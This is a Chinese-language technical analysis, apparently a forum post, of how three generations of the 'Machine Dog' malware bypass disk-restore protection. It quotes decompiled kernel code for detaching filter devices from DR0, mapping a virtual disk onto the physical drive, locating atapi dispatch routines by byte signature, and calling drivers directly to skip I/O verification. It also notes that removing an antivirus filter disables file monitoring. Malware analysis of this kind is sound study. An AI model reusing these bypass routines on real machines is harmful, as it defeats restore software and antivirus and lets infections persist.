从机器狗浅析磁盘还原穿越技术
本文首先感谢女王提供的无数资料和code ,非常感谢。
磁盘保护驱动工作在文件过滤系统之下,磁盘过滤驱动(disk.sys)之上
将上层对于磁盘的访问定位到自己的处理过程
如图所示 最新版本的狙剑提供了查看功能,我的系统安装了nod32
因此有一个eamon.sys挂载在fastfat.sys之上,,杀毒软件就是依靠
这个东西实现的文件监控,如果我们摘除他 文件监控也就失效了,
关于这个本文不做进一步讨论
第一代机器狗穿越还原是清除//Device//Harddisk0//DR0上的附加设备
相关代码如下
Quote:
UNICODE_STRING objectName;
PDEVICE_OBJECT hardObject = NULL;
PFILE_OBJECT fileObject = NULL;
RtlInitUnicodeString(&objectName, PCIHDD_DR0DEVICE_NAME);
status = IoGetDeviceObjectPointer(&objectName, FILE_READ_ATTRIBUTES, &fileObject, &hardObject);
ASSERT(NT_SUCCESS(status));
HddDr0Device = fileObject->DeviceObject; // 说明 : HddDr0Device->AttachedDevice 就是 hardObject
if(HddDr0Device->AttachedDevice)
{ // 保存DR0上的附加设备, 然后断开附加,
HddAttDevice = InterlockedExchangePointer((PVOID*)&HddDr0Device->AttachedDevice, NULL);
}
ObDereferenceObject(fileObject);
}
这个代码比较漂亮的使用了InterlockedExchangePointer
当然你直接循环执行HddDr0Device->AttachedDevice=NULL
也没有多大问题
这就是第一代机器狗,感染的文件是userinit,详细的查杀文章不再详述,
可参考其他文章
Quote:
typedef struct _PARTITION_ENTRY
{
UCHAR active; // 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; // 起始柱面号高2位:6位起始扇区号
UCHAR StartCylinder; // 起始柱面号低8位
UCHAR PartitionType; // 分区类型
UCHAR EndHead; // 该分区终止磁头号
UCHAR EndSector; // 终止柱面号高2位:6位终止扇区号
UCHAR EndCylinder; // 终止柱面号低8位
ULONG StartLBA; // 起始扇区号
ULONG TotalSector; // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;
//==============================================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;
//==============================================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode; // 2字节跳转指令,跳转到引导代码
UCHAR NopCode; // 1字节nop指令,填充用,保证跳转指令长3个字节
UCHAR OEMName[8]; // 8字节的OEMName
// 下面开始为: BPB( BIOS Parameter Block )
USHORT BytesPerSector; // 每个扇区的字节数 (512 1024 2048 4096)
UCHAR SectorsPerCluster; // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小
)
USHORT ReservedSectors; // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值
通常为1,对于FAT32,典型值为32
UCHAR NumberOfFATs; // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不
使用]
USHORT NumberOfSectors16; // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32
不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
UCHAR MediaDescriptor; // 介质类型
USHORT SectorsPerFAT16; // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必
须为0;[FAT32/NTFS不使用该字段]
USHORT SectorsPerTrack; // 用于INT 0x13中断的每个磁道的扇区数
USHORT HeadsPerCylinder; // 用于INT 0x13中断的每个柱面的磁头数
ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数
ULONG NumberOfSectors32; // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可
根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]
// 下面开始为: EBPB ( Extended BIOS Parameter Block )
ULONG SectorsPerFAT32; // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;
后来的机器狗作了一些小小改进,变成了感染3个文件,但是大体的代码
没有多少改变,个人不喜欢将其定义成第二代
感谢MJ0011指出错误,
相比第一代机器狗,第2代机器狗反而没有了文件系统分析工作
而是使用虚拟磁盘映射真实磁盘的方法实现,解析工作完全交给了文件系统本身
第一代机器狗没有多少好说的了。核心部分就是移除DR0上面的附加玩意
我们来看看第二代机器狗,也就是虚拟磁盘的版本
Quote:
SourceString = '//';
v10 = 'D';
v13 = 'e';
v14 = 'v';
v15 = 'i';
v16 = 'c';
v17 = 'e';
v18 = '//';
v19 = 'z';
v20 = 'z';
v21 = 'z';
RtlInitUnicodeString(&DestinationString, &SourceString);
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 16;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
v3 = ZwCreateDirectoryObject(&g_DirHandle, 0xF000Fu, &ObjectAttributes);
ntStatus = v3;
if ( v3 >= 0 )
{
ZwMakeTemporaryObject(g_DirHandle);
DeviceNumber = 0;
while ( DeviceNumber < v12 )
{
v4 = CreateDevice(DriverObject, DeviceNumber);
ntStatus = v4;
if ( v4 < 0 )
goto LABEL_17;
++DeviceNumber;
}
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)CreateClose;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)CreateClose;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)ReadWriteRoutine;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)ReadWriteRoutine;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DrvUnload;
memset((void *)&SourceString, 0, 0x40u);
SourceString = '//';
v10 = 'D';
v13 = 'e';
v14 = 'v';
v15 = 'i';
v16 = 'c';
v17 = 'e';
v18 = '//';
v19 = 'z';
v20 = 'z';
v21 = 'z';
v26 = '//';
v27 = 'z';
v28 = 'z';
v29 = 'z';
v30 = 'x';
v31 = 'x';
v32 = 'x';
RtlInitUnicodeString(&DeviceName, &SourceString);
v5 = IoCreateDevice(DriverObject, 0x27u, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0,
&g_DeviceObject);
ntStatus = v5;
if ( v5 >= 0 )
{
v6 = g_DeviceObject->DeviceExtension;
memset(v6, 0, 0x24u);
v6 = (char *)v6 + 36;
*(_WORD *)v6 = 0;
*((_BYTE *)v6 + 2) = 0;
memset((void *)&SourceString, 0, 0x40u);
SourceString = '//';
v10 = 'D';
v13 = 'o';
v14 = 's';
v15 = 'D';
v16 = 'e';
v17 = 'v';
v18 = 'i';
v19 = 'c';
v20 = 'e';
v21 = 's';
v26 = '//';
v27 = 'z';
v28 = 'z';
v29 = 'z';
v30 = 'x';
v31 = 'x';
v32 = 'x';
RtlInitUnicodeString(&SymbolicLinkName, &SourceString);
v7 = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
当设备目录"//Device//zzz"不存在的时候,创建会失败。
所以应该先创建这个目录,使用ZwCreateDirectoryObject创建设备目录
然后IoCreateDevice完成这个设备创建并且使用IoCreateSymbolicLink创建指向这个
设备的link,这一个部分就是建立一个虚拟磁盘。相关代码可以参考filedisk
filedisk的功能是将一个镜像文件img,iso,flp等直接mount上去实现直接访问
WinMount的优点是还能支持filedisk所不支持的rar等文件格式
感谢MJ和刀客的指点。在这里第二代机器狗完成了一个工作,将对于虚拟磁盘的
访问转换到真实磁盘
分别获取//GLOBAL??//PhysicalDriveX和//??//PhysicalDriveX
Quote:
wcscpy(globaldrivex,L"//GLOBAL??//PhysicalDrive");
globaldrivex[23]=(WORD)index+0x30;
globaldrivex[24]=0;
wcscpy(drivex,L"//??//PhysicalDrive");
drivex[17]=(WORD)index+0x30;
drivex[18]=0;
RtlInitUnicodeString(&us,globaldrivex);
if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
{
RtlInitUnicodeString(&us,drivex);
if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
return 1;
}
*DeviceObject=(*FileObject)->DeviceObject;
接下来就是对于转换虚拟磁盘的操作了
Quote:
signed int ÷ ReadWriteRoutine(int DeviceObject, PIRP Irp)
{
int v2; // esi@1
PIRP v3; // ecx@2
signed int v4; // esi@2
PIO_STACK_LOCATION v5; // eax@5
v2 = *(_DWORD *)(DeviceObject + 40);
if ( !*(_BYTE *)(v2 + 4)
|| !g_PhyDrvDeviceObject && GetPhysicalDriveObject(&g_PhyDrvDeviceObject, &g_PhyDrvFileObject) <
0 )
{
v3 = Irp;
Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE;
v4 = STATUS_NO_MEDIA_IN_DEVICE;
@CompleteIrp:
v3->IoStatus.Information = 0;
IofCompleteRequest(v3, 0);
return v4;
}
v3 = Irp;
v5 = (PIO_STACK_LOCATION)Irp->Tail.Overlay.CurrentStackLocation;
if ( !v5->Parameters.Create.SecurityContext )
{
Irp->IoStatus.Status = 0;
v4 = 0;
goto @CompleteIrp;
}
v5->Control |= 1u;
ExfInterlockedInsertTailList((PLIST_ENTRY)(v2 + 6), &v3->Tail.Overlay.ListEntry, (PKSPIN_LOCK)(v2
+ 14));
KeSetEvent((PRKEVENT)(v2 + 18), 0, 0);
return 259;
}
对于送过来的读写请求,首先将这个irp用IoMarkIrpPending设置成pending状态
然后ExInterlockedInsertTailList送入链表并且设置一个Event
另外有一个线程专门处理写入工作,将这个irp上面的数据发送给真实的磁盘设备
这个偶不懂,也就不敢乱说了
Quote:
typedef struct _SCSI_REQUEST_BLOCK {
USHORT Length;
UCHAR Function;
UCHAR SrbStatus;
UCHAR ScsiStatus;
UCHAR PathId;
UCHAR TargetId;
UCHAR Lun;
UCHAR QueueTag;
UCHAR QueueAction;
UCHAR CdbLength;
UCHAR SenseInfoBufferLength;
ULONG SrbFlags;
ULONG DataTransferLength;
ULONG TimeOutValue;
PVOID DataBuffer;
PVOID SenseInfoBuffer;
struct _SCSI_REQUEST_BLOCK *NextSrb;
PVOID OriginalRequest;
PVOID SrbExtension;
union {
ULONG InternalStatus;
ULONG QueueSortKey;
};
UCHAR Cdb[16];
} SCSI_REQUEST_BLOCK, *PSCSI_REQUEST_BLOCK;
使用IoCallDriver发送指令给真实磁盘,第三代对于这里是使用的MyIoCallDriver
第三代机器狗偶没有样本 就只能从MJ0011提供的F5样本来分析了
这个东东的首先会读取ftdisk.sys文件,从文件中获取atapi.sys的原始MajorFunction
读文件的过程是首先在PE区段内找到INIT,从而定位DriverEntry
从DriverEntry中读取DispatchRoutine的地址,,搜索方法还是特征码办法
Quote:
if ( v17 < v26 + v17 )
{
while ( *((_BYTE *)v11 + v17) != -57
|| *((_BYTE *)v11 + v17 + 2) != 48
|| *((_BYTE *)v11 + v17 + 7) != -57
|| *((_BYTE *)v11 + v17 + 9) != 52
|| *((_BYTE *)v11 + v17 + 14) != -57
|| *((_BYTE *)v11 + v17 + 21) != -57
|| *((_BYTE *)v11 + v17 + 28) != -57 )
{
++v17;
if ( v17 >= v18 )
goto LABEL_41;
}
v19 = v30;
if ( v30 )
{
v20 = v31;
if ( v31 )
{
*(DWORD *)v30 = *(DWORD *)(v11 + v17 + 24) - 65536;
v27 = *(DWORD *)(v11 + v17 + 17) - 65536;
*(DWORD *)v20 = *(DWORD *)(v11 + v17 + 17) - 65536;
v28 = *(DWORD *)v19;
v42 = 1;
DbgPrint("xxx address is: %08x....%08x...%08x/n", v17, v28, v27);
偶没有idb,MJ0011的F5代码虽然很乱,不过还是能猜是特征码定位出来的
另外一个功能就是获取atapi的drx
RtlInitUnicodeString((UNICODE_STRING *)&v19, L"//Device//HardDiskVolume%d");
if ( v7 < 0 )
{
v5 = v18;
}
else
{
ATAPI_drvobj = (int)Object;
v4 = GetLastDiskDeviceObject((int)Object);
v5 = v4;
if ( v4 )
{
DbgPrint("ata dr0 dev obj is : %08x...", v4);
ata_dr0device_object = v5;
}
ObfDereferenceObject(Object);
}
获得最底层disk代码
while ( v2 )
{
if ( *(DWORD *)(v2 + 44) == FILE_DEVICE_DISK )
result = v2;
v2 = *(DWORD *)(v2 + 12);
}
似乎是堆栈搜索过来的
第三代采用了自己的IoCallDriver
系统的IoCallDriver-pIofCallDriver-IopfCallDriver
其中有大量的对于Object和IRP的验证
最后来到调用点
Quote:
.text:0040C7D0 ; __fastcall IopfCallDriver(x, x)
.text:0040C7D0 @IopfCallDriver@8 proc near ; CODE XREF: IovCallDriver(x,x)+1C p
.text:0040C7D0 ; IovCallDriver(x,x)+9B p ...
.text:0040C7D0 dec byte ptr [edx+23h]
.text:0040C7D3 mov al, [edx+23h]
.text:0040C7D6 test al, al
.text:0040C7D8 jle loc_444DDC
.text:0040C7DE mov eax, [edx+60h]
.text:0040C7E1 sub eax, 24h
.text:0040C7E4 push esi
.text:0040C7E5 mov [edx+60h], eax ; 下层stack
.text:0040C7E8 mov [eax+14h], ecx ; 获取DeviceObject
.text:0040C7EB movzx eax, byte ptr [eax] ; 指向MajorFunction
.text:0040C7EE mov esi, [ecx+8] ; DriverObject
.text:0040C7F1 push edx
.text:0040C7F2 push ecx
.text:0040C7F3 call dword ptr [esi+eax*4+38h] ; 调用DispatchRoutine
.text:0040C7F7 pop esi
.text:0040C7F8 retn
由此我们完全可以自己实现
剩下的部分还有一个读取打开userinit,从中ObReferenceObjectByHandle获得文件对象
file object -> vpb -> device object然后
发送IRP_MJ_FILE_SYSTEM_CONTROL获取文件
Quote:
KeInitializeEvent(&Event, SynchronizationEvent, 0);
*(DWORD *)(v3 + 60) = &v39;
*(DWORD *)(v3 + 44) = &Event;
*(DWORD *)(v3 + 4) = 0;
*(DWORD *)(v3 + 8) = IRP_DEFER_IO_COMPLETION;
*(DWORD *)(v3 + 40) = &IoStatusBlock;
*(_BYTE *)(v3 + 32) = KernelMode;
*(DWORD *)(v3 + 80) = KeGetCurrentThread();
*(DWORD *)(v3 + 100) = Object;
v22 = *(DWORD *)(v3 + 96) - 36;
*(_BYTE *)v22 = IRP_MJ_FILE_SYSTEM_CONTROL;
*(DWORD *)(v22 + 20) = *(DWORD *)(*((DWORD *)Object + 2) + 8);
*(DWORD *)(v22 + 24) = Object;
*(DWORD *)(v22 + 12) = 589939;
*(DWORD *)(v22 + 8) = 8;
*(DWORD *)(v22 + 16) = &v29;
*(DWORD *)(v22 + 4) = 272;
不过的感觉发送给atapi的scsi_request_block与第二代相差不大
也没能看明白。不敢乱说了。哈